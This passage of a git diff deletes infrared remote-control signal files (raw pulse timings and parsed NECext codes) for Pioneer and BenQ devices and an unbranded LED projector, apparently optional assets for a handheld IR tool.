422 -# -name: Format -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1330 418 455 424 449 420 453 416 457 422 424 445 455 424 449 420 454 414 458 421 452 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1301 447 453 416 458 421 1325 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1326 422 1297 451 1323 415 431 448 1325 423 1323 425 448 421 1326 422 451 418 1301 447 1326 422 424 445 1302 446 454 425 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1731 452 448 421 1326 422 451 418 455 424 422 447 453 416 458 421 452 417 456 423 450 419 454 425 421 448 452 417 1330 418 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 457 422 1325 423 449 420 454 425 448 421 452 417 456 423 450 419 455 424 448 421 1326 422 424 445 455 424 1323 415 1331 417 1329 419 454 425 448 421 1298 450 423 446 455 424 1322 416 1330 418 1301 447 426 443 1304 444 -# -name: Favorite -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 423 449 420 1326 422 452 417 456 423 451 417 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1321 417 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1299 449 451 418 456 423 1323 425 448 421 453 416 457 422 451 418 456 423 1322 426 1294 443 1303 445 455 424 1295 442 458 421 1298 450 1297 451 1295 443 1304 444 456 423 450 419 1300 448 452 417 457 422 74443 3473 1739 443 456 423 1297 451 449 420 453 416 430 449 451 417 429 450 422 447 427 452 448 420 453 416 457 422 424 444 1302 446 454 425 421 448 452 417 457 422 424 444 428 451 422 447 454 414 458 421 1298 502 1244 452 421 448 453 416 1303 497 377 450 450 419 454 425 448 421 452 417 1302 446 1301 447 1299 449 451 418 1302 446 427 452 1294 444 1303 445 1301 447 1300 448 452 417 456 423 1296 452 449 420 453 415 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1760 422 451 418 1328 420 453 416 458 421 452 417 456 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 1322 426 448 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1329 419 454 425 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1323 425 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1736 446 426 443 1304 444 429 450 423 445 428 451 422 447 426 443 430 449 424 444 428 451 422 446 427 452 421 448 1299 449 424 444 428 451 422 447 426 443 431 448 425 443 429 450 423 445 427 452 1295 442 430 449 424 444 429 450 423 445 427 452 421 448 425 443 430 449 1297 451 422 447 426 453 420 449 1298 450 423 446 427 452 421 448 1299 449 424 445 429 450 423 445 1300 448 425 443 430 449 1297 451 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1733 449 423 445 1301 447 426 443 431 448 425 444 429 450 423 445 427 452 421 448 426 443 430 449 424 444 428 451 1296 452 421 448 425 443 430 449 423 445 428 451 422 447 426 442 431 448 425 443 1302 446 428 451 422 447 426 442 430 449 424 445 428 451 422 447 427 452 421 448 1299 449 424 444 428 451 1295 453 421 448 425 444 429 450 423 446 1301 447 426 442 430 449 1298 450 423 445 427 452 1295 442 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3478 1735 448 452 417 1329 419 454 425 448 421 453 416 457 422 451 418 455 424 450 419 454 415 458 421 452 417 456 423 1323 425 449 420 453 416 457 422 451 418 456 423 450 419 454 415 459 420 453 416 1329 419 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1322 416 1330 418 455 424 450 419 1327 421 452 417 457 422 451 418 1328 420 1298 450 451 418 456 423 1323 425 448 421 453 415 1330 418 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1765 418 455 424 1295 443 431 448 452 417 429 450 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 1299 449 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 430 449 1325 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 1327 421 452 417 456 423 1323 425 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1764 418 455 424 1322 415 457 422 451 418 456 423 450 419 454 425 449 419 453 416 457 422 451 417 456 423 450 419 1327 421 453 416 457 422 451 417 456 423 450 418 454 425 448 420 453 416 457 422 1324 424 449 420 454 425 448 420 453 416 457 422 451 418 455 424 450 419 1327 421 452 417 1329 419 455 424 1322 415 458 421 452 417 457 422 1323 425 449 420 1326 422 452 417 1329 419 455 424 449 420 1326 422 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 423 449 420 1327 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 425 1321 417 457 422 451 418 428 451 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 1322 416 458 421 1325 423 450 419 454 425 448 421 453 416 1331 417 1329 419 426 453 1321 417 457 422 451 418 1301 447 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1768 415 458 421 1325 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 455 424 449 420 454 415 458 421 452 417 457 422 450 419 455 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 1326 422 1297 451 450 419 1327 421 453 416 457 422 451 418 1329 419 1299 449 1325 423 451 418 1328 420 453 416 458 421 1325 423 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1766 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 1324 424 449 420 453 416 457 422 451 418 456 423 450 419 427 452 448 421 452 417 457 422 451 418 1328 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1326 422 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1765 418 455 424 1322 416 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 1327 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1322 415 1304 444 456 423 451 418 455 424 1322 416 458 421 452 417 1329 419 1327 421 453 416 457 422 1324 424 -# -name: Last -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1760 422 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 414 458 421 452 417 456 423 450 419 455 424 1322 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1328 420 1299 449 452 417 1329 419 1327 421 453 416 457 422 1324 424 1323 425 1321 417 456 423 1324 424 1322 416 458 421 1325 423 -# -name: Dash -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1759 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 415 458 421 1325 423 1324 424 1322 416 457 422 451 418 1329 419 1327 421 425 444 1330 418 455 424 -# -name: Rewind -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 424 449 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 1325 423 450 419 454 425 448 421 1326 422 1324 424 1322 416 458 421 1298 450 1323 425 448 421 453 416 1330 418 455 424 -# -name: Play -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 430 449 1325 423 450 419 427 452 448 421 425 444 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1302 446 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 1323 425 448 421 453 416 1330 418 455 424 422 447 454 415 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 1329 419 1300 448 425 444 456 423 1324 424 449 420 453 416 1331 417 455 424 -# -name: Fast_Fwd -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1764 419 454 425 1321 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 449 420 1326 422 451 418 456 423 450 419 454 415 458 421 452 417 456 423 451 418 455 424 1322 416 1331 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 1323 425 1321 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 1328 420 453 416 1331 417 456 423 450 419 1328 420 453 416 -# -name: Previous -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 -# -name: Pause -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1761 422 451 418 1329 419 454 425 448 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1329 419 1327 421 452 417 429 450 1324 424 449 420 453 416 458 421 452 417 1330 418 454 425 448 421 453 416 457 422 451 418 1329 419 1299 449 452 417 429 450 450 419 1328 420 452 417 457 422 1297 451 422 447 -# -name: Next -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1732 450 423 445 1301 499 375 442 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1296 452 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1302 446 1301 447 453 416 457 422 1297 503 371 446 454 425 448 421 453 416 1303 445 455 424 1295 453 1294 506 1240 446 455 424 1295 443 1304 444 456 423 450 419 1301 447 453 416 1303 497 377 450 1296 452 448 421 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3478 1735 448 452 417 1303 445 455 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 1304 444 1302 446 454 425 448 421 1298 450 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 425 448 421 453 416 1330 418 1301 447 1300 448 1298 450 450 419 1327 421 453 416 457 422 1324 424 449 420 diff --git a/assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir b/assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir deleted file mode 100644 index c44576983..000000000 --- a/assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir +++ /dev/null @@ -1,22 +0,0 @@ -Pioneer_mute RAW F:38000 DC:33 8551 4219 566 1562 563 534 544 1584 541 1587 549 524 543 1584 541 506 572 1582 543 528 540 1564 571 526 542 531 547 1581 544 528 540 1563 573 525 542 1560 565 532 546 527 541 1587 538 1590 546 527 541 532 546 526 541 531 547 1581 544 1584 541 506 572 526 542 1586 539 1589 547 1556 569 26876 8542 4226 569 1584 541 1588 548 1581 544 1585 540 531 547 1582 543 529 539 1590 546 526 541 530 548 525 543 529 539 1589 547 526 542 1587 538 533 545 527 541 531 547 525 542 529 539 1590 546 1583 542 529 538 533 545 1584 541 1587 549 1580 545 1559 566 531 547 525 543 1586 539 1589 547 -Vol_up RAW F:38000 DC:33 8548 4219 565 1562 573 524 543 1559 566 1562 563 534 544 1559 566 531 547 1581 544 528 540 1588 547 525 542 529 538 1589 546 526 541 1586 539 533 545 527 541 1562 573 524 543 1584 541 530 548 525 542 504 574 524 543 1559 566 531 547 1556 569 528 539 1588 547 1555 570 1558 567 1586 539 26875 8540 4227 568 1559 566 531 547 1556 569 1559 566 506 572 1556 569 503 564 1563 572 525 542 1560 565 507 571 526 541 1562 563 509 569 1558 567 530 548 525 542 1585 540 532 546 1557 568 529 538 534 544 528 539 533 545 1558 567 505 573 1556 569 528 539 1563 572 1581 544 1559 566 1586 539 -Vol_dwn RAW F:38000 DC:33 8546 4221 564 1588 547 525 542 1585 540 1588 548 525 542 1585 540 532 546 1582 543 529 538 1564 571 526 541 531 547 1581 544 528 540 1588 547 525 542 1586 539 1589 546 526 541 1586 539 533 545 528 539 533 545 527 540 532 546 526 541 1587 538 534 544 1584 541 1586 539 1589 546 1581 544 26872 8543 4223 572 1581 544 528 540 1588 547 1580 545 527 540 1587 549 524 543 1584 541 531 547 1581 544 528 539 508 570 1583 542 530 548 1580 545 527 540 1587 549 1579 546 526 542 1587 538 534 544 528 540 533 545 527 541 532 546 526 541 1586 539 533 545 1583 542 1560 565 1588 547 1580 545 26873 8542 4226 569 1583 542 530 548 1580 545 1583 542 530 548 1580 545 527 540 1587 538 534 544 1584 541 531 547 525 542 1585 540 532 546 1582 543 530 548 1579 546 1582 543 529 539 1589 547 525 542 530 548 524 544 528 539 533 545 527 541 1587 548 524 543 1584 541 1586 539 1589 546 1581 544 -Mode RAW F:38000 DC:33 8549 4218 567 1586 539 533 545 1583 542 1586 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 525 542 530 548 1580 545 528 539 1588 547 525 542 1585 540 533 545 527 541 1588 547 1580 545 527 541 532 546 527 540 532 546 1581 544 1583 542 531 547 525 542 1585 540 1587 548 1579 546 26867 8548 4216 569 1559 566 1587 548 1580 545 1583 542 530 548 1580 545 527 540 1587 549 523 544 527 541 531 547 525 542 1586 539 532 546 1582 543 529 538 1590 545 1583 542 1586 539 533 545 1583 542 1586 539 532 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 538 1590 545 1557 568 -Menu RAW F:38000 DC:33 8542 4224 571 1582 543 529 538 1589 546 1557 568 529 539 1589 547 525 543 1585 540 532 546 1557 568 504 563 534 544 1584 541 531 547 1580 545 528 539 1588 547 525 542 529 549 1579 546 1582 543 529 538 534 544 1584 541 532 546 1582 543 1584 541 531 547 526 541 1587 538 1589 546 526 541 26879 8544 4226 568 1561 564 1566 569 1560 565 1564 571 526 541 1562 573 524 543 1560 565 532 546 526 541 530 548 524 543 1561 564 533 545 1559 566 531 547 1557 568 529 539 1565 570 1558 567 530 548 1557 568 1560 565 532 546 526 541 1563 572 525 542 529 538 1566 569 527 540 531 547 1557 568 -Src RAW F:38000 DC:33 8548 4221 563 1590 545 527 540 1587 548 1580 545 527 540 1588 547 525 542 1586 539 533 545 1584 541 531 547 526 541 1586 539 533 545 1584 541 531 547 526 541 1587 548 525 542 1586 539 1589 546 526 541 531 547 526 541 1587 548 524 543 1585 540 533 545 527 540 1588 547 1580 545 1583 542 26880 8544 4226 569 1560 565 532 546 1582 543 1585 540 533 545 1583 542 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 528 539 1588 547 1581 544 529 538 534 544 528 539 1589 546 526 541 1587 548 524 543 529 538 1589 546 1582 543 1585 540 -Top_menu RAW F:38000 DC:33 8551 4217 567 1561 564 509 569 1559 566 1561 564 509 569 1559 566 506 572 1556 569 503 575 1554 571 501 566 506 572 1556 569 503 575 1553 572 500 567 1561 574 497 570 502 565 1563 572 1556 569 503 575 498 569 1558 567 506 572 1556 569 1559 566 507 571 501 566 1562 573 1554 571 501 566 26880 8553 4216 568 1561 564 1565 570 1559 566 1563 572 499 568 1562 563 508 570 1560 565 507 571 526 541 530 548 525 542 1562 573 523 544 1560 565 531 547 526 541 530 548 1557 568 1561 564 532 546 1559 566 1563 572 524 543 1561 564 1565 570 526 541 531 547 1558 567 529 549 523 544 1559 566 -Up RAW F:38000 DC:33 8547 4221 563 1565 570 527 540 1587 548 1580 545 527 540 1587 548 524 544 1585 540 532 546 1582 543 530 548 524 543 1584 541 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1584 541 531 547 526 541 1586 539 534 544 1584 541 1587 538 534 544 528 539 1588 547 1581 544 528 539 26881 8543 4224 571 1583 542 1587 548 1556 569 1560 565 531 547 1583 542 529 549 1581 544 527 541 532 546 526 541 530 548 1581 544 528 539 1589 546 526 541 1587 538 534 544 1585 540 531 547 1582 543 1586 539 1590 545 526 541 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 1586 539 -Down RAW F:38000 DC:33 8544 4223 571 1581 544 528 540 1588 547 1580 545 527 540 1587 548 524 543 1584 541 532 546 1581 544 528 539 533 545 1582 543 529 549 1579 546 526 541 1585 540 532 546 527 540 1587 538 1588 547 525 542 530 548 1580 545 527 540 1587 538 1589 546 526 541 531 547 1580 545 1582 543 529 538 26875 8547 4217 567 1586 539 1589 546 1582 543 1585 540 532 546 1582 543 529 538 1590 545 526 541 530 548 524 543 528 539 1589 546 525 542 1586 539 532 546 526 541 1587 548 1580 545 527 540 1587 548 1580 545 1583 542 530 548 1580 545 527 540 531 547 1581 544 528 539 532 546 526 541 1586 539 26872 8540 4225 569 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 533 545 1583 542 530 548 524 543 1584 541 531 547 1581 544 528 539 1588 547 525 542 529 538 1589 546 1581 544 528 539 533 545 1583 542 530 548 1579 546 1582 543 529 538 534 544 1584 541 1586 539 533 545 26871 8542 4223 572 1581 544 1585 540 1588 547 1581 544 528 539 1589 546 525 542 1586 539 532 546 526 541 530 548 524 543 1585 540 532 546 1582 543 529 538 533 545 1584 541 1588 547 525 542 1585 540 1589 546 1582 543 529 538 1590 545 526 541 530 548 1581 544 527 540 531 547 525 542 1585 540 -L RAW F:38000 DC:33 8542 4224 571 1557 568 529 538 1589 546 1581 544 528 539 1588 547 525 542 1585 540 532 546 1582 543 530 548 524 543 1584 541 531 547 1581 544 528 539 1589 547 526 541 530 548 1580 545 1582 543 530 548 524 543 1584 541 531 547 1581 544 1584 541 531 547 525 542 1586 539 1588 547 525 542 26875 8549 4216 568 1585 540 1589 546 1583 542 1586 539 533 545 1584 541 531 547 1581 544 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 529 539 1590 545 1584 541 1588 547 1582 543 528 539 1589 546 1583 542 1586 539 533 545 527 540 532 546 526 541 1587 538 -R RAW F:38000 DC:33 8543 4222 573 1579 546 526 541 1586 539 1588 547 525 542 1585 540 532 546 1581 544 528 539 1588 547 525 542 529 549 1579 546 527 540 1587 538 534 544 1584 541 531 547 526 541 1586 539 1588 547 525 542 530 548 1580 545 527 541 1587 548 1579 546 526 541 531 547 1580 545 1583 542 530 548 26867 8546 4220 564 1589 546 1582 543 1585 540 1589 546 525 542 1586 539 533 545 1584 541 530 548 524 543 528 540 533 545 1583 542 530 548 1580 545 527 540 1588 547 1581 544 1585 540 532 546 1583 542 1586 539 1589 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 539 533 545 1583 542 -Enter RAW F:38000 DC:33 8547 4219 565 1587 548 524 543 1584 541 1587 538 534 544 1584 541 531 547 1581 544 528 539 1589 546 525 542 530 548 1580 545 527 540 1586 539 533 545 1583 542 530 548 525 542 1585 540 1587 548 524 543 529 538 1589 546 525 542 1585 540 1588 547 525 542 529 538 1589 546 1581 544 528 539 26874 8548 4219 565 1588 547 1582 543 1585 540 1589 546 525 542 1587 538 533 545 1584 541 531 547 525 542 529 549 523 544 1584 541 531 547 1582 543 529 538 1591 544 527 540 531 547 1582 543 1586 539 1589 546 1583 542 529 549 523 544 1585 540 1588 547 525 542 529 539 533 545 527 540 1588 547 -Audio RAW F:38000 DC:33 8543 4224 570 1557 568 529 549 1579 546 1557 568 529 538 1589 546 526 541 1586 539 534 544 1583 542 531 547 526 541 1586 539 533 545 1584 541 531 547 1581 544 529 538 534 544 1584 541 1586 539 534 544 529 538 1589 546 526 541 1586 539 1564 571 526 541 531 547 1581 544 1584 541 532 546 26873 8550 4218 566 1562 573 1555 570 1559 566 1563 572 524 543 1585 540 533 545 1584 541 531 547 525 542 529 538 534 544 1584 541 531 547 1582 543 529 538 534 544 528 539 1589 546 1582 543 1586 539 1565 570 1584 541 531 547 1583 542 1587 548 523 544 528 539 532 546 527 540 531 547 1581 544 -Sub_title RAW F:38000 DC:33 8541 4228 566 1561 564 509 589 1538 597 1532 562 510 568 1560 565 508 570 1558 567 505 573 1556 569 503 595 477 590 1538 566 506 571 1556 569 504 563 1565 570 503 564 508 570 1559 566 1563 572 524 543 505 562 1566 569 503 564 1563 572 1557 568 504 594 478 569 1584 541 1587 538 534 544 26878 8544 4250 544 1585 540 1563 572 1583 542 1612 513 559 519 1611 514 557 521 1609 516 556 521 550 517 554 513 559 519 1634 491 557 521 1608 517 555 523 1606 519 1610 494 578 520 1634 491 1614 521 1608 517 1612 513 559 519 553 514 582 496 1609 516 557 520 550 517 580 498 550 497 1656 489 -Angle RAW F:38000 DC:33 8540 4225 570 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 534 544 1584 541 531 547 525 542 1585 540 533 545 1582 543 530 548 1579 546 527 540 531 547 1581 544 1583 542 531 547 525 542 1585 540 532 546 1582 543 1585 540 532 546 526 541 1586 539 1589 546 525 542 26874 8548 4218 566 1587 538 1590 545 1584 541 1587 548 524 543 1584 541 531 547 1582 543 529 538 533 545 527 540 531 547 1582 543 528 539 1589 546 526 541 1587 538 533 545 1584 541 1587 548 1580 545 1584 541 1588 547 525 542 529 538 1590 545 527 540 531 547 525 542 530 548 523 544 1584 541 -Play_pause RAW F:38000 DC:33 8542 4224 570 1582 543 529 538 1589 546 1581 544 529 539 1589 546 526 541 1586 539 533 545 1583 542 530 548 525 542 1585 540 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1583 542 531 547 525 542 1586 539 533 545 1583 542 1586 539 534 544 528 539 1589 546 1581 544 528 539 26874 8548 4217 567 1586 539 1589 546 1582 543 1586 539 533 545 1584 541 531 547 1582 543 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 1587 548 1581 544 528 539 532 546 1584 541 1588 547 1582 543 529 538 533 545 528 539 1589 546 1582 543 529 549 524 543 528 539 1588 547 -Stop_ RAW F:38000 DC:33 8550 4218 566 1563 572 500 567 1561 574 1554 571 502 565 1563 572 500 567 1561 564 509 569 1559 566 507 571 502 565 1562 573 500 567 1561 564 508 569 1559 566 507 571 502 565 1563 572 1556 569 504 563 509 569 1559 566 507 571 1558 567 1561 564 509 569 503 564 1564 571 1557 568 505 573 26872 8547 4221 573 1556 569 1559 566 1564 571 1557 568 504 573 1554 571 501 566 1563 572 500 567 504 573 499 568 503 564 1564 571 501 566 1562 573 499 568 503 574 498 569 1559 566 506 572 1557 568 1561 574 1555 570 501 566 1563 572 1557 568 503 564 1564 571 500 567 529 549 523 544 1559 566 -Rew RAW F:38000 DC:33 8541 4225 569 1559 566 531 547 1581 544 1584 541 531 547 1581 544 529 538 1588 547 526 541 1586 539 533 544 528 539 1588 547 525 542 1585 540 533 544 1582 543 530 548 525 542 1584 541 1587 548 524 543 529 538 1589 546 526 541 1586 539 1588 547 525 542 530 548 1580 545 1582 543 529 549 26866 8542 4221 573 1555 570 1559 566 1563 572 1556 569 527 540 1588 547 525 542 1561 564 533 545 527 540 531 547 525 542 1585 540 532 545 1558 567 530 548 524 543 528 539 1589 546 1558 567 529 549 1556 569 1560 565 1563 572 1557 568 1560 565 532 545 526 541 1563 572 524 543 528 539 532 545 26866 8542 4225 569 1558 567 531 547 1555 570 1558 567 530 548 1555 570 527 540 1562 563 534 543 1559 566 531 547 525 542 1561 564 533 544 1557 568 530 537 1564 571 526 541 531 546 1556 569 1558 567 531 547 525 542 1560 565 532 545 1557 568 1560 565 532 545 527 540 1562 563 1564 571 526 541 26868 8541 4223 571 1557 568 1561 564 1564 571 1557 568 528 539 1565 570 525 542 1562 573 523 544 527 540 532 546 526 541 1562 573 522 545 1559 566 530 547 524 543 529 538 1565 570 1558 567 529 549 1556 569 1559 566 1563 572 1556 569 1560 565 531 547 526 541 1562 573 523 544 528 539 531 547 -Ff RAW F:38000 DC:33 8540 4227 567 1561 564 533 545 1583 542 1561 564 533 545 1583 542 531 547 1580 545 528 539 1588 547 525 542 530 548 1554 571 526 541 1586 539 533 545 1583 542 530 548 525 542 1584 541 1562 573 524 543 528 539 1588 547 525 542 1585 540 1563 572 525 542 530 548 1579 546 1556 569 529 538 26872 8548 4218 566 1563 572 1556 569 1560 565 1563 572 524 543 1585 540 532 546 1582 543 530 548 524 543 528 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 1557 568 529 538 1565 570 526 541 1562 573 1556 569 1560 565 531 547 525 542 1586 539 533 544 1559 566 531 547 525 542 528 539 -Band RAW F:38000 DC:33 8544 4221 563 1564 571 526 541 1586 539 1589 546 525 542 1586 539 533 545 1582 543 530 548 1579 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1581 544 528 539 533 545 527 540 1587 548 524 543 1584 541 1587 538 534 544 1584 541 1587 538 1589 546 26868 8544 4220 564 1588 547 525 542 1585 540 1587 548 524 543 1584 541 532 546 1581 544 529 538 1589 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1580 545 528 539 532 546 527 540 1587 548 524 543 1584 541 1586 539 534 544 1583 542 1586 539 1588 547 -Folder_l RAW F:38000 DC:33 8541 4222 572 1555 570 503 564 1562 573 1555 570 502 565 1561 574 498 569 1558 567 505 573 1555 570 502 565 506 571 1556 569 503 564 1563 572 500 567 1560 565 506 572 501 566 1561 564 1564 571 500 567 504 573 1555 570 501 566 1562 573 1554 571 501 566 506 572 1556 569 1558 567 530 548 26862 8547 4217 567 1562 573 1555 570 1559 566 1562 573 523 544 1560 565 531 547 1557 568 528 539 533 544 527 540 531 547 1557 568 528 539 1564 571 525 542 529 549 1555 570 526 541 530 548 1556 569 1559 566 1563 572 524 543 1561 564 532 546 1558 567 1562 573 523 544 528 539 532 546 1557 568 -Folder_r RAW F:38000 DC:33 8542 4221 573 1554 571 501 566 1561 564 1564 571 500 567 1561 564 507 571 1557 568 504 574 1554 571 525 542 505 572 1555 570 527 540 1562 573 524 543 1559 566 531 547 501 566 1561 564 1563 572 500 567 504 573 1555 570 502 565 1562 573 1555 570 502 565 506 571 1557 568 1559 566 506 572 26865 8544 4219 565 1565 570 1558 567 1561 564 1565 570 526 541 1562 573 523 544 1560 565 531 547 525 542 529 548 523 544 1560 565 531 547 1557 568 528 539 1564 571 524 543 528 539 532 545 1557 568 1561 564 1565 570 525 542 529 549 1579 546 1583 542 1586 539 532 545 526 541 531 547 1580 545 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir b/assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir deleted file mode 100644 index d4b5c519c..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A F5 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C F3 00 00 -# -name: Vol_u -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 EA 00 00 -# -name: Vol_d -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C E3 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A E5 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 BF 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir deleted file mode 100644 index 635b42a41..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 87 78 00 00 -# -name: Src -type: parsed -protocol: NECext -address: 08 16 00 00 -command: DC 23 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 8A 75 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 8B 74 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 84 7B 00 00 -# -name: Dwn -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 8D 72 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 08 16 00 00 -command: BB 44 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 8E 71 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: 08 16 00 00 -command: B2 4D 00 00 -# -name: Vup -type: parsed -protocol: NECext -address: 08 16 00 00 -command: 89 76 00 00 -# -name: Vdwn -type: parsed -protocol: NECext -address: 08 16 00 00 -command: B5 4A 00 00 